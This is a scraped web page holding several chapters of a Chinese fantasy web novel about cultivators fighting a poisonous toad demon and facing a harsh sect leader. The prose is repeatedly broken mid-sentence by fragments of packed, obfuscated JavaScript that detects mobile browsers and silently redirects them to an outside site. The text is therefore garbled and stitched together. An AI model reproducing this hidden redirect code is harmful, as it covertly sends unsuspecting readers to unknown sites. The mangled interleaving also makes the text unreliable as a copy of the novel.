RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349405|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人到小馆时,天色已彻底暗了下去。 季衡与季瑶不饮酒,陆云笺则是不善饮酒,但这家小馆只提供茶与酒,茶水太过乏味,于是陆云笺状似不经意地道:“方才在街上看见有卖蜜梨膏的,早知买些来,泡了温水喝也还不错。” 裴世立马站起来,道:“我去买。” 陆云笺一手托腮,一手的指尖在桌面上轻轻敲着,她毫不意外地抬起头,笑道:“行。等菜上来还要一段时间,天黑了,你出去的时候留点意。” 于是裴世毫不知情地被支出去了,步伐甚至还很快。 陆云笺盯着他的背影看了一会儿,道:“二位前来临安,是有什么任务,还是有什么发现么?” 季衡道:“镜阳宗地界第一轮巡查已毕,想起当时溟海出了只海妖,便顺道来看看。” 临安处于云间世和镜阳宗的交界处,被划归云间世,但自两大门派暗中联手调查各地异动以来,界限便不再那么分明,季衡与季瑶前来临安巡查,想必陆明周也已得了消息。 灾劫临世时,溟海出了只神通广大的海妖,携风浪而行,将沿海地带尽数淹没,偏生那海妖没有固定形态,藏匿于风浪间,直至扭转时空,仙门也没能将其彻底抹杀。 陆云笺道:“几月前派弟子来巡查过,暂且无恙。这次有什么发现么?” 季瑶道:“妖气稀薄,暂无异样。” “当真是没到时候?”陆云笺转着手中空杯,“回头让当地仙门再盯紧些吧。” 气氛就此冷下来,一时无人再说话。陆云笺将酒杯放下,望了一眼外头的沉沉夜色,道:“二位觉得方才那名弟子如何?” 季衡道:“他身上全无照灵骨的气息。” 季衡对妖魔鬼怪之类的感知极为灵敏,这种灵敏远超绝大多数人,饶是破月妖狼有种族优势,对照灵骨气息的感知能力也并不比季衡强。 季衡与季瑶此次前来,之所以出现在废墟,也正是追着若有若无的照灵骨气息而来,那几分气息掩在焦土之下,且已年岁久远,与妖狼所言并无相差。 “的确如此,不过应当还是没有找错人。他身上有一道封印,是在骨骼,或是在心脏,我探不出来。”陆云笺抬眼看向二人,“不过我有一事,想问问二位——照灵骨是什么?” 季衡道:“是这世间最强的神器。” “如果一个人体内有照灵骨,他是算人,还是算武器?” 季瑶微微蹙眉:“自然是人。” “如果要动用照灵骨的神力,此人便必死无疑。为救千万人而杀一人,是对,还是错?” 季衡与季瑶一时默然。 正在此时,小二端着两盘热气腾腾的菜上来,杯盘碗盏碰在一起,盖过了黑夜中一人走来的动静。陆云笺再抬头时,裴世已经站在桌前,让小二上一壶温水来。 陆云笺神色全无异样,笑道:“下雨了?” 裴世将装着蜜梨膏的牛皮纸上的水汽拂去,道:“小雨。” 陆云笺抬手,欲用法术帮他将一身水汽烘干,裴世道:“等一会儿便干了,用不着法术。有东西跟着我们。” 陆云笺并未感到意外。 妖狼碎魂易招妖邪,她心知肚明,而季衡自十五岁生过一场大病后,也极易被妖魔鬼怪盯上,灾劫降临时他忽然失踪,想必也有此缘由。 若不是裴世体内的照灵骨被封印严严实实遮去了气息,他也将是一个活生生的好靶子,若要如此算,三个易招邪的人走在一块,不被妖邪盯上才奇怪。 “这东西跟了也有好些天了,的确有些烦人。”陆云笺一手支腮,一手拿着筷子在桌沿敲了两下,“不过这菜看起来的确不错,别坏了吃饭的兴致。” 话音落,桌上饭菜腾腾热气尚未散去,她正要动筷,忽地一阵劲风袭来,陆云笺抬眸,只看见裴世的身影在面前一闪而过,杯盏里的茶水泼出来些许,染湿了一片桌案。 一瞬过后,狂风止息,桌旁的裴世与季衡都没了踪影。 80. 躯为甲 裴世再睁眼时,已不知身处何地,抬眼只能看见四下潮湿的岩壁,再往上,是嶙峋怪石挤压下的一线天光。 光线极暗,他一时间什么都看不清,直到听见水珠自岩壁上滴答一声落下,随后一句不甚清晰的咕哝响起:“唔,好像抓错了一个。” 裴世循声望去,目光对上数盏绿色焰火,他仔细看了片刻,才发现壁上趴着无数蟾蜍,一双双幽碧瞳眸如夜中鬼火,正遥遥望着他。 “没事,没事,先让大王垫垫肚子吧,大王生了病,都瘦成什么样啦。”裴世的目光移向只勉强能从洞口探出一只眼睛的蟾蜍精,心道:……的确是瘦。 他紧紧盯着洞外的蟾蜍大王,不动声色地将缚住双手的绳索解了,袖中暗箭蓄势待发。 洞外那只幽碧的眼睛移开,一阵熟悉的裹挟着潮湿腥气的劲风自洞口灌入,裴世掌中蓄力,正欲迎击,另一手却忽地被人一拽,他下意识转过头,便见一直昏迷的季衡此时已经醒来,微不可察地对他摇了摇头。 转瞬之间,裴世与季衡便被劲风卷出洞穴,尚未适应洞外稍显刺眼的天光,便觉身上被紧缚压迫的感觉消失了,而后后背重重撞上石面。 裴世睁开眼,便见缚住他与季衡二人的东西收回去的残影,再抬眼,对上一只足有一人高的眼睛。身上潮湿滑腻的触感尚未消失,那卷着他们的风是什么,不言而喻。 裴世瞥了一眼蟾蜍大王的血盆大口,脸色相当精彩。 季衡的脸色也不好看,他刚一落地,便抬手施法将那蟾蜍大王捆了个严实,神色凛然道:“江年被吞进去了。” 裴世抬头看了一眼蟾蜍被季衡牵住而无法闭合的嘴:“怎么让它吐出来?” 季衡道:“不能杀它,蟾蜍善用毒,当心些。” 裴世沉默一瞬,开始拆腕带卷衣袖,似乎打算直接将贺江年掏出来。 正在此时,被灵力束缚住的蟾蜍猛地挣扎起来,霎时狂风大作,地动山摇,蟾蜍“哇”的一声,吐出无数骨骼残骸,贺江年躺在一地狼藉中,似乎已经晕死过去。 季衡牵着蟾蜍不便行动,裴世蹙着眉,不情不愿地走过去,伸出一手正欲把贺江年拽起来,贺江年却忽地诈了尸,见了裴世,一时喜不自胜,先伸手把人拽了下去。 裴世一时不备,被一地残骸扎了个正着,而肇事者却撑着手中长剑借力站了起来,又手忙脚乱地扶他:“不是,我没用力啊,我力气这么大吗,不好意思啊裴世,我真不是故意的,你——” 裴世像是要被空气中弥漫的腥臭熏得晕死过去,没接贺江年的手,自己站起来拍了拍衣摆,然而气味无处不在,并不是能拍干净的。 贺江年也帮着他拍了拍衣服,似乎还想说些什么,裴世却黑着脸闪到一边,贺江年趔趄一下没站稳,倒也不介意,看到不远处的季衡,眼睛一亮便迎了上去:“季衡哥!你怎么也在?” 季衡手中牵着数根缚住蟾蜍的线,方才蟾蜍那一动弹耗费了许多灵力,因此他面色虽没有什么变化,指关节却有些发白,不似先前那般从容。他上下扫了贺江年一眼,道:“没事吧?” 贺江年道:“还好,差点死了。它想把我吞进肚子里,妈呀,它肚子里全是毒液,进去了还能有个全尸吗?好在我把剑扎在它嘴里,它大概是太痛了,就把我吐了出来。” 季衡道:“若是杀了它,想必毒液会迅速侵蚀此地……”他抬头望了一眼上方,隐隐能见潋滟波光,“上面是水,想来是此地的结界,不知那水里有没有毒。” 贺江年道:“既然是水,那就把水调走好了。” 季衡道:“你擅水系术法?” 贺江年:“……不。” 裴世抿着唇站在一旁,没说话。 贺江年道:“云笺是不是也来了?” 裴世闻言抬眼,有些莫名地看着他。 贺江年转向裴世,道:“你既然在这儿,云笺肯定也没离太远。可惜这里有结界,用不了通讯符……” 裴世闻言,却忽地想起陆云笺说她使不了许多所谓正统术法,也不知她最擅长的术法是什么。 季衡道:“陆小姐与阿瑶应当不多时就能到。只是……” “什么,季小姐也在?!”贺江年眼睛一亮,“那好办了啊,季小姐最擅火系术法,可以把水蒸干啊。等等,季衡哥你不是也最擅长火系术法么?” 季衡还未说话,裴世先嗤笑道:“你说是水先干,还是你先被煮熟?” 正说着,上方晃荡水波似乎静止了一瞬,原本翻滚的水流散开,只余薄薄一层,而后一道紫色光芒破水而来,三人身后洞穴刹那塌了半边,碎石之下传来无数哀嚎尖叫,震得人颅内嗡嗡。 陆云笺收了破月,在三人身旁站定:“□□精,打扰人吃饭,是不是不太礼貌啊。”她说着就欲将那蟾蜍开膛破肚,季衡拦道:“有毒。” 陆云笺瞥了一眼塌掉的半边洞穴,只见碎石之下正如沸水一般冒出无数碧色水泡,当即会意。 “原本受毒水所阻,我们不能打破结界,但不知为何毒水忽地散开,这才能将结界打开。”季瑶道,“上方结界还未闭合,诸位先出去吧。” 季衡点头,紧了紧手中牵住蟾蜍的线,示意众人先走,他断后。 季瑶不再耽搁,她离水面最近,当即出了结界,贺江年紧随其后。 陆云笺跃至水面,抬手触了一下水波,指端却传来一阵灼烧的痛感,收回手,便见触到水面的那一寸皮肤已经溃烂,而灼烧感还在蔓延,转眼溃烂之处便扩散到了半截手指处。 陆云笺当即往后一撤,道:“等等!先别出去,结界已经闭合了。” 似是要证明她所说为实,水面忽地被浓重的碧色覆盖,而后淅淅沥沥的水滴自上方水面落下,触及地面,石面也开始以肉眼可见的速度溶解。 陆云笺手中结阵,挡住了下落的水滴,又施法延缓伤口恶化。 方才季衡手中牵的线松了几分,此时再要牵紧却是来不及,那蟾蜍忽地吐出一大团毒液,陆云笺刚设了结界,避闪不及,眼前却闪过一个白色身影,将她扑到了地上,躲过了那团毒液。 耳边传来裴世痛极的闷哼,陆云笺惊愕一瞬,抬眼看去—— 裴世抬手挡住了那团毒液,于是右肩连着整条右手臂都以肉眼可见的速度腐蚀溃烂,血肉消融,逐渐暴露出森森白骨。 陆云笺面色一凛,当即没了半分犹豫,召出破月钻入蟾蜍腹中,将它五脏六腑搅了个稀烂,破碎的肚肠心肺混杂着碧色毒液四下飞溅,所过之处,尽数腐蚀。 陆云笺咬破指尖,手中结阵,猛地一击地面—— 无论是洞穴,是水面结界,还是方圆数里的花草林木,都在刹那间化作齑粉! 季瑶正等在岸边,见陆云笺沉着脸背了裴世上来,忙上前察看,看见裴世一整条右臂已经不剩什么血肉,几乎成了一条裸露的白骨。 在场几人只有季衡与季瑶通晓医术,季衡扶了裴世靠到一边,季瑶眼尖,道:“陆小姐,你的手……” “无妨。”陆云笺甩了甩指尖,伤口在灵力压制下已经不再恶化,“先治他。” 季瑶便没有再问,他们身上带的药物并不多,裴世一个人用都有些勉强。 陆云笺抬眼看了看四周遍地碎木残花,又看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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到了云间世脚下,这种沉默才被打破,陆云笺抬头望了一眼云间世高耸入云的结界,将裴世扔给贺江年:“你扶他回弟子房,找……”她一时间竟不知该找谁医治裴世,犹豫一番才道,“找侍药长老。” 贺江年扶过裴世,不解道:“侍药长老?可……” 陆云笺道:“如果侍药长老不在就罢了。江年,劳烦你在弟子房里守他一会儿,我随后就去找你们。别人我不放心。” 话一落音,尚未及贺江年反应,陆云笺便召出破月,飞身上山,奔着中孚殿的方向去了。 中孚殿前不知为何来了数只树妖藤妖,陆云笺想起来,逆转时空前有一回也是如此,当时还不解,如今却知道是近年来妖魔动荡,神树也受了些影响,云间世一草一木皆以神树为本,神树一不稳,无数小精怪便都出来了。原也不是什么大事,但知道这是妖魔动荡的前兆后,众人便都不敢掉以轻心。 陆云笺飞速上山,一路打了不少精怪,数只树妖藤妖被连根拔起,又被斩成碎片,一时间尖啸漫天、哀嚎遍地。行至中孚殿前,见神树已经恢复稳定,陆稷与陆明周立在殿外,似乎正在等她。 陆云笺几步上前,行了一礼:“父亲。” 陆稷仍是一贯的冷然神色:“听闻你去了临安?”陆云笺尚未回答,他又道,“与那名弟子一起?” “那名弟子”指的是谁,不言而喻。 陆云笺仍垂着眸,维持着行礼的姿势:“……是。” 静默片刻,陆云笺忽地感到心脏一阵剧痛,仿佛被一只无形的手攥紧,五指都陷入血肉筋络,陆稷一抬手,她便自中孚殿前长阶摔了下去,猛地咳出一口血。 陆稷自长阶上踱步而下,声音平静无波:“你如今也有许多自己的考量了。” 81. 并肩行 陆云笺垂着眸,没有起身,恭恭敬敬地回道:“不敢。” 陆稷微微眯起眼:“不敢?” 陆明周上前一步,正欲说话,却见一旁林中闪过一个白色身影,那白影几步奔至陆云笺身旁,似乎是想将她扶起来。 陆云笺抬眸,看见那张苍白无血色的脸,忽地感觉一阵血气直冲脑颅,耳中一时嗡鸣,她惊道:“裴世,你怎么……”她低眸去看他的右手,见重重绷带下已隐隐透出了血痕,想来他是趁贺江年去寻侍药长老时跑出来的,还没来得及好好医治。 裴世上前几步,挡在陆云笺身前:“尊主……” 陆稷冷笑一声,再一抬指尖,裴世便猛地飞砸出去。 中孚殿前数千级长阶绵延不断,裴世一路滚下百级长阶,刹那间骨骼断裂、鲜血横流。 他勉强抬起眼,却怎么也看不清阶上或跪或立的几人,耳边嗡鸣不断,全然听不见其他声响。 陆稷这时才略微低眸扫了他一眼,冷笑道:“原来是他。你想保他?” 陆云笺没有回头看裴世,指尖深深嵌入掌心,却仍然驯顺地垂着头:“我并无此意。” 陆稷尚未开口,陆明周忙上前道:“父亲,我们尚未全知照灵骨特性以及这名弟子与照灵骨的具体关联,不能贸然炼化,云笺之所以与这名弟子走得近了些,是为了进一步调查,以求得发挥照灵骨效用的良方,并非徇私。” 陆稷收了手,看向陆云笺:“是吗?” “……的确如此。” “那你告诉我,你查出了什么?” “他身上有一道封印,还需进一步查清此封印相关事宜,再着手创制断界阵。” 后来陆稷说了什么,她便是回答了,因着思绪混乱,也不记得究竟说了些什么。 也或许陆稷不曾问,她也没再答。 云间世又恢复了往日的安宁静谧,中孚大殿前,神树挺拔屹立,无数白色花瓣散发出淡淡辉光,拂过脸颊,卷着夜半的风,有些刺骨。 陆稷走后,陆云笺起身,却觉眼前阵阵发黑,一时间竟站立不稳。陆明周过来扶她,她只摇摇头,示意陆明周先去看裴世的状况。 陆明周点过陆云笺身上几处穴位,扶了她,一同走下长阶。 裴世右臂的绷带已经被血染透,所幸陆稷仍有所顾虑,担心损害照灵骨,因此未下死手,有所保留。他的肤色原本就很白,此时伤重,更是面若金纸,口中仍时不时涌出鲜血,惨白面颊上血污纵横。 陆明周替他检查完,用了些救急的药,沉默一阵才道:“就算是用上好的药,要完全恢复也至少需要一月。至于右臂上这毒……恐怕时日更久。” 陆云笺道:“夜里风冷,地上凉,我先扶他回弟子房。” 陆明周点头:“我去取些药来。”说着便起身离开。 陆云笺虽也有一口血气卡在喉间,但她也算是习惯了,因此并不妨碍行动。她正欲将裴世扶起,却见他嘴唇开合,似乎是想说什么话。 陆云笺凑近了,问:“你想说什么?” 裴世的声音嘶哑难辨,刚吐出几个字,又被风吹散。 陆云笺倾耳静静听了很久,终于听清了裴世在说什么。 他说:“对不起……我不能护你。” 陆云笺触上他脸颊的指尖倏然顿住了,血凝成冰,一下一下凿着她的心脏,一阵一阵抽痛。 她一直觉得自己很幸运,在这世上短短十几年,就能遇到两个待她好、护着她的人。 一个是她的母亲,于是她立志诛尽天下邪祟,为母亲报仇。 另一个是她的兄长,于是她许诺会助兄长稳坐天下第一大派尊主之位,振兴宗门,千秋万载,颂德歌功。 现在她遇到了第三个想要护她的人。而她花费了无数日夜,苦心钻研要怎样杀了他。 陆云笺眼睫颤动一瞬,垂着眸,而后拽起裴世没有受伤的左臂,搭在自己肩上。 饶是裴世重伤之下,视物不清、耳听不明、所有感官都变得迟钝,也还是感受到了陆云笺的颤抖。 她的指尖太冷了,他想要替她暖一暖,却连抬手的力气都没有。 陆云笺道:“你还能听见我说话吗?” 裴世的头靠在陆云笺肩上,陆云笺一说话,他虽听不清,但也能有所感受,不知她问了几遍,他才终于勉强听清,于是低低地“嗯”了一声。 他努力地使自己的感知清明些许,于是他听见她说: “我不要你护我,也不要你做我的剑。不要你挡在我前面,也不要你站在我身后。我要你站在我身边,与我并肩同行。” 并肩同行…… 裴世闻言轻轻闭上眼,牵了牵嘴角。 云间世陆小姐,当世翘楚,世人钦羡,往后数年,前途无量,风光无两。 与之并肩同行,他何德何能? 血气上涌,又被压下。 裴世眼前阵阵发黑,想来撑不了太久就要昏厥过去,于是他静默良久,恢复些许气力,才勉强开口,轻声说了一句话。 没有答应,也没有拒绝,他只说:“陆云笺,如果我身上有什么是你需要的,就拿去吧。” 就此万物俱寂,再无声息。 裴世醒来时,已不知过了多少时日,身上的伤却已好了大半。 此时应当还是休沐日,虽到了傍晚放课的时候,外头却还是没有多少人。弟子房内空空荡荡,只有他一人,裴世在榻上坐了一会儿,正欲起身,却见一人推门进来,正是陆明周。 弟子房狭小简陋,陆明周这样的人物立在此处,很是突兀,若不是陆云笺所托,陆明周贵为少主,也的确不会来弟子房。 陆明周将药放在桌上,细细说明了注意事项,裴世点头道:“多谢少主。不知现在是什么时日?” 陆明周道:“正月十四。” 正月十四,距他们回到云间世过了三日。 明日是上元节,云间世应当会依照惯例举办上元宴,宴请各门派,过了上元节,休沐日便结束了,过几日就是弟子考核。依照惯例,考核不合格的弟子会被逐出云间世,成绩优异者,也会有所奖励。 陆明周似乎也想起了此事,道:“你受了伤,过几日的考核怕是不太方便,需不需要延缓几日?” 裴世道:“不用了,多谢少主关心。” 陆明周颔首,似乎想说什么,但最终还是没有开口,推门出去了。裴世原本想问陆云笺的情况,可到底也和陆明周一样,话到嘴边,又咽了回去。 他起身,浑身隐隐痛感并未消失,筋骨一时间也不如往日灵活,去不了演武场,竟一时不知还能去往何处。 裴世想了想,从柜中取了一沓书册,这还是他一月前从藏书阁里头借出来的,大多已经看完,还有部分没来得及看。这些书册位于藏书阁第五层,只可凭令牌借阅一月,若是逾期未还,便要扣留令牌。 绝大多数弟子的令牌都是从各自的师父那儿得的,若是被扣了,免不了要挨训。裴世则不同,他不曾拜师,这令牌还是陆云笺借给他的,虽然从未说过要还。 余下几日还要为弟子考核做准备,想来没有太多时间翻阅,因此裴世只得抓紧时间将借来的书册速览一遍。 这些书大多老旧,没什么人翻阅,裴世的指尖顺着一排排文字划下去,最后停留在了“重塑经脉”四字上。 窗外阳光透过林叶与窗隙,在他脸上投下明暗不定的光影。 正月二十一,休沐已经结束了好几日,云间世渐渐恢复了往日热闹,而陆云笺还没有回来。月底便是弟子考核,裴世日日穿梭于书院、演武场、弟子房,日子平静而单调。 一日裴世去给别的弟子送浣洗完的衣物,这些弟子大多出身名门,不愁吃穿,在云间世住的也与一般弟子不一样,每间弟子房前都有一片庭院,兴起时可舞剑练武,闲暇时可闲庭信步。 裴世端着木托盘,正欲敲响其中一间房门时,手却顿住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365526|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 这名弟子正是先前被逐出云间世的尹旭的好友,与裴世素来不睦,此时他房里聚了些人,似乎正在讨论几日后弟子考核的事宜。 弟子考核分为三场,笔试,格斗,术法。 格斗需两人一组进行比试,术法则又分了两步,一是个人考核,二是二人比试。好巧不巧,裴世分到的,正是这间弟子房的主人。 “术法倒是无所谓,他不可能赢。笔试么,我倒是弄到了一些题,也不怕。倒是这格斗……” 旁边一名弟子道:“要我说,术法最下等就够他出丑了,这格斗不也无所谓?” 另一人道:“胡说什么!沈公子怎么可能输给一个籍籍无名的小弟子?” 然而很不幸,裴世于格斗一道是全门派弟子的佼佼者,要想不输给他,留住自己的面子,还真不太容易。 屋内忽地安静下来,窗户咔哒一声响,裴世侧身贴着墙,避开了自屋内投出的那道视线,待窗户重新关上,他才又听见屋内一人说:“大长老不是说今年考制要变更么?三门考试,任一不合格者都要被逐出云间世。他无疑是要被逐出去的,就在一个早晚问题。若是把术法提前到第一门,考完立马让不合格的弟子卷铺盖走人,不就不用和他比剩下的了?” “可这顺序还有惩戒的规矩也不是咱们说了算啊,素来术法都是最后考的,逐出门派这种事情也得等考完再说吧。” “这倒不难。”裴世又听见了那个较为耳熟的声音,只是相比之前,多了几分轻蔑,少了几分忐忑,“你们觉得,我现在去和大长老提议把这规矩变一变,长老会不会同意?” 裴世的手有一瞬不稳,木托盘险些跌在地上。 大长老因着尹旭的事对他也没有什么好颜色,他又偏生身无灵力,任何考核只要与术法相关都是最下等,这本也是他的问题,他无可辩驳。 裴世闭上眼睛,脑中万般念头闪过,最终汇聚停留在了“重塑经脉”四字上。他当即转了身,没再把浣洗好的衣服送回去,而是去了马厩。 弟子们自行带来的马匹都喂养在马厩里,除了这些马匹外,云间世也喂养了一批上好的马,供众长老与弟子使用,只是要用这些马匹,也需令牌,与藏书阁的规矩差不了太多。 守着马厩的马夫见来的是裴世,正欲摆手把人赶走,却见他沉着脸,递来一样事物。 马夫定睛一看,这竟是陆小姐的令牌,当即抬眼打量了裴世几遍,那神色仿佛是见了鬼,又带着些许不可告人的好奇与鄙夷的兴味。 裴世没有理会他的目光,垂眸盯着那块质地上好的令牌。 陆云笺借给他的这块令牌,在云间世可谓是能上天能入地,想要什么、想做什么,都不会有任何阻拦。但他只在藏书阁用过,平日里只好好收着,能不用则不用。 有了陆云笺的令牌,马夫不敢怠慢,牵了一匹上好的马交到裴世手中。 裴世牵着马下山时,听见马夫正和一人悄声说:“他怎么和陆小姐扯上了……” 他转头看了那马夫一眼,细碎的议论声蓦地止住,他闭了闭眼,牵着马快步朝山下走去。 纵马奔驰近两个时辰,裴世才到达了一座繁茂高山边。此山地处偏僻,却长有一种奇珍异草,名为延灵株,书中记载这种异草有舒筋活血之效,也是重塑经脉的必需珍品。 山上云雾缭绕,终年不散,山中情景并不清晰。 裴世按住腰间佩剑,正欲上山,忽地一声惨叫自林中蹿出,惊起阵阵飞鸟。 裴世神色一凛,犹豫片刻,朝着与声音传来处相反的方向走去。 方才那声惨叫显然是人发出来的,此时却又忽然没了半点声息,林间又复归寂静。 林间雾气浓重,饶是裴世视力超群,也不得不放慢脚步。所幸据书册所载,延灵株的草叶与花瓣均会散发出淡淡幽光,想必找起来不会太费力。 裴世正低头仔细寻找,雾中忽地冲出来一人,径直往他身上扑来。 82. 死而生 裴世猛地闪开身,这才没让他扑中。 从雾中冲出来的是个中年男人,看打扮应当是附近的百姓,见着裴世激动得眼泪都要下来:“终于见着活人了!你、你你你——” 裴世站得离他并不近,雾间视物也不甚清晰,奈何他一身藏青云纹弟子袍实在太显眼,那人一瞧见他的打扮,简直要声泪俱下:“我没看错吧?!是云间世的仙君?!” 裴世尚未开口,那人便猛地拽住了他的手,把他往林子深处带:“仙君!里面有妖怪,我还有同伴——” 谁知裴世一把甩开他的手,转身就走。那人似乎愣了一下,追上来几步,喊道:“仙君,求求你了,还有人在里面,被树压着了腿,求求你救救他……” 话未说完,裴世已经跑得没影儿了。 确定身后的人没有追上来后,裴世才停了步,打量了一圈四周的环境,转了个方向,继续上山。 走了没几步,忽觉脚下一硌,猛地抽回脚,便见脚下的东西滑蛇一般缩了回去,紧接着一声痛呼:“哎哟我的妈,什么东西?!” 眼前的雾气散去些许,一人跌坐在地,抱着腿大嚎,待看清踩着他的是个人之后,眼睛一亮:“小兄弟,你帮帮忙,我腿受伤了,你把我扶下山成吗?” 不等裴世后退,他便一把抓住了裴世的脚踝,裴世一个趔趄险些站不稳,却见那人拖着身子朝自己爬过来:“仙君,仙君,就扶我下山成吗,这里有妖怪,求求了……” 裴世脚上发力,却如何都甩不开他的手,又见这人的确是个普通人的模样,不好拔剑,于是伸出一手去拽他,一拽之下,心中一凛。 这人的皮肤纹理、血肉温度与寻常百姓全然无异,做出的动作却不像个正常人。 裴世拽着他的手将他往旁边一甩,脱出禁锢的一刻拔腿便走,直往山下去。走着走着,忽觉背上一重,仿若千钧巨石压下来,险些压得他腿脚发软,寸步不能行。 一个声音在背上响起来,正是方才那个被断木压断了腿的男人的声音:“多谢仙君救命,仙君大恩大德,小人没齿难忘。” “谁要救你了。”裴世沉声道,“滚开!” 轰地一声响,背上的重压消失了,裴世却忽觉心绪纷乱,一时不备,像是魂魄都被抽了出去,浑身乏力,不由单膝跪在地上。 再抬眼时,四周雾气弥漫,不见人影。 裴世的手微微发着抖,几乎能预料到接下来会发生什么。 他勉强平静心绪,拔出腰间佩剑,指向前方。 一个幼小身形出现在了他的剑指向的地方,然后是他无比熟悉的场景,火光漫天,鬼魈屠戮,哀嚎遍野。 裴世一动不动地盯着眼前情形,只握紧了手中剑。 画面尽头,他看见陆稷微一抬手,陆云笺便蓦地咳出一口血,即便痛至伏在地上,仍要保持着驯顺恭敬的姿态。 而后便是嶙峋荒山上,妖魔鬼魅间,沉沉天幕下,陆云笺孑然一身的背影,与他的想象别无二致。 陆云笺在哀牢训练了六年,她虽总是轻描淡写,但一定也会有过恐惧与茫然的。如今陆云笺不再提起当初的恐惧,可这恐惧却席卷了他。 一如当年目睹父母葬身鬼魈指爪之下,如今看见陆云笺的种种,他亦无能为力。 身无所长,一事无成。 裴世恍惚间看向自己的手,脑中又不受控制地浮现出了“重塑经脉”四字。 置于死地而后生。 眼前逐渐混沌,裴世能清晰地感受到意识逐渐混乱的过程,就在这时,背上突然至极地传来重重一击,他险些被逼出一口心头血,痛感终于将意识唤了回来。 他回过头,对上了那双许久不见的眼睛。 陆云笺道:“裴世,你看见什么了?被魇得这么深,我这又拍又捶又踹的你都不醒?” “我……”裴世缓了片刻,意识终于彻底回笼,“我没事。” 他下意识扫了一遍陆云笺的衣裳,所幸并未看见什么伤口血迹之类,但萦绕在鼻尖、挥之不去的那阵血腥气,仍是让他微微蹙眉。 陆云笺察觉他的目光,站起身转了一圈:“我也没事,这不正在回云间世的路上么,还没来得及把气息去掉。”见裴世不说话,她又道,“这山中多魑魅,最擅迷惑人的心智以设置幻象。我们先找出口,待得再久些,幻象就又要生效了。” 裴世沉默一阵,道:“你怎么到这山上来了?” 陆云笺拨开重重浓雾,道:“路过,看见几个百姓慌慌张张从山上跑下来,说山上有鬼,好几个同伴都不见了,我就上山来看看。这雾气应当是一种迷瘴,既是说人不见了,应当就是被迷瘴吞了,结果百姓没看见几个,倒是看到了你。” “……我之前碰见过两个人,其中一个腿被断木压断了。” “噢,他啊,我也看见了,他运气不大好,在这迷瘴里待得太久,遇上了幻象,一时醒不过来,就被魑魅操控了。我已经把他送下山了,不知还能不能救回来。” “不过话说回来,”陆云笺转身将手递给裴世,“我看你进迷瘴似乎没多久,怎么就遇上了幻象,还被魇得那么深?有什么东西值得你执着至此?” 裴世没借陆云笺的力,先一步自己站起身来,仍是垂着眸,没接话。 陆云笺只扫了四周一圈,便看出了迷瘴的突破口,指着一处道:“走那边。”走了几步,却并未听见跟上来的脚步声,于是又回过头唤了一声,“裴世?” 却见裴世不知何时又跪坐在地,脸色惨白,一手死死抓着衣襟,另一手握拳,极力背在身后。 陆云笺说了什么,他已经完全听不清甚至意识不到,唯有耳边嗡嗡的声音,讥嘲的、轻蔑的、尖锐的,仿若密密麻麻、盘绕扭曲的蛆虫,一点一点往血肉里钻。 陆云笺心道不妙,正欲上前,浓重的雾气又忽地起了一片,横亘在两人之间,生生阻住了她的脚步。 陆云笺召出破月,正欲破开迷雾,忽觉山林猛然一震,仿佛无数山石滚落,浓雾骤然散开,只见裴世倒在血泊之中,气息近乎微弱。 陆云笺三两步奔上前去,正欲拉起裴世,却瞥见他垂在地上的左臂已是惨不忍睹,自手腕处一路往上,整条左小臂经脉尽断,血肉撕裂,直可见森森白骨,入目一片红白之色。 陆云笺刹那明白裴世是被什么魇住了,这画面很是熟悉,背脊蹿上的那阵寒意也很是熟悉。 三年前她在哀牢遇险,危急关头自爆灵力才侥幸逃脱。她自哀牢一路奔逃回云间世,若不是碰巧在山门外遇上陆明周,原当是要重伤力竭而死的。 她还记得陆明周扶起她时,她在长阶上自上往下望了一眼,视物不甚清晰,唯见一道血痕蜿蜒而上,再垂眸,右臂也是一片模糊的红。 那时知觉已经消失殆尽,竟是没有半点疼痛,惟觉一阵寒意自心底蔓延开来,再爬上背脊,直至裹挟全身。 陆云笺不擅疗愈之术,因此只能打了一道咒法下去,勉强止住裴世左臂汩汩涌出的血,又见他右手紧紧握着拳,知道他正在与心魔抗衡,于是一咬牙,手中结阵,以掌击地,刹那地动山摇,风移影动,浓雾骤散! 迷瘴一破,陆云笺立即背上裴世站上惟霜剑,径直往云间世驶去。 陆云笺抬手探了探裴世的鼻息,只觉越来越微弱,唤了好几声,裴世才迷迷糊糊地应了声:“嗯。”他缓了片刻,又跟了一句,“我没事。” 陆云笺说了什么,他其实已经不大听得见,但能觉出她的焦急,于是开始前言不搭后语地说话:“强行破迷瘴……内里是要……受重创的,没……必要。我……真的没事,就是有点……晕。对不住,我……” 裴世并不知道,他大多数的言语都变成了意义不明的含糊语句,再经由呼啸寒风一吹,陆云笺什么都没听清,只能觉出温热的血、温热的泪浸透了背部的衣裳,又渐渐冷透。 在云间世诸多阵法的影响下,一切传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆云笺便也没有说起其他,只照例行了个礼以示领命,而后目光轻轻扫过榻上尚未醒来的裴世。 